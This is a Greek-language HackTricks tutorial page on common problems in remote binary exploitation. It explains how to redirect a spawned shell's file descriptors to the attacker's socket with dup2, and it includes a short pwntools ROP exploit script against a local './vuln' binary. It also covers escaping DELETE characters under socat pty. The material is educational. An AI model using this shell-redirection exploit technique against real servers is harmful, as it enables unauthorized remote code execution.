4.9 KiB
Κοινά Προβλήματα Εκμετάλλευσης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
FDs σε Απομακρυσμένη Εκμετάλλευση
Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί system('/bin/sh')
για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το /bin/sh
θα περιμένει είσοδο από stdin (FD: 0
) και θα εκτυπώνει την έξοδο σε stdout και stderr (FDs 1
και 2
). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.
Ένας τρόπος για να το διορθώσετε είναι να υποθέσετε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το FD αριθμό 3
(για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο FD αριθμό 4
. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την syscall dup2
για να διπλασιάσετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελείται.
Παράδειγμα εκμετάλλευσης από εδώ:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Σημειώστε ότι το socat ήδη μεταφέρει stdin
και stdout
στο socket. Ωστόσο, η λειτουργία pty
περιλαμβάνει χαρακτήρες DELETE. Έτσι, αν στείλετε ένα \x7f
( DELETE
-) θα διαγράψει τον προηγούμενο χαρακτήρα της εκμετάλλευσής σας.
Για να παρακαμφθεί αυτό, το χαρακτήρα διαφυγής \x16
πρέπει να προστεθεί πριν από οποιοδήποτε \x7f
σταλεί.
Εδώ μπορείτε να βρείτε ένα παράδειγμα αυτής της συμπεριφοράς.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.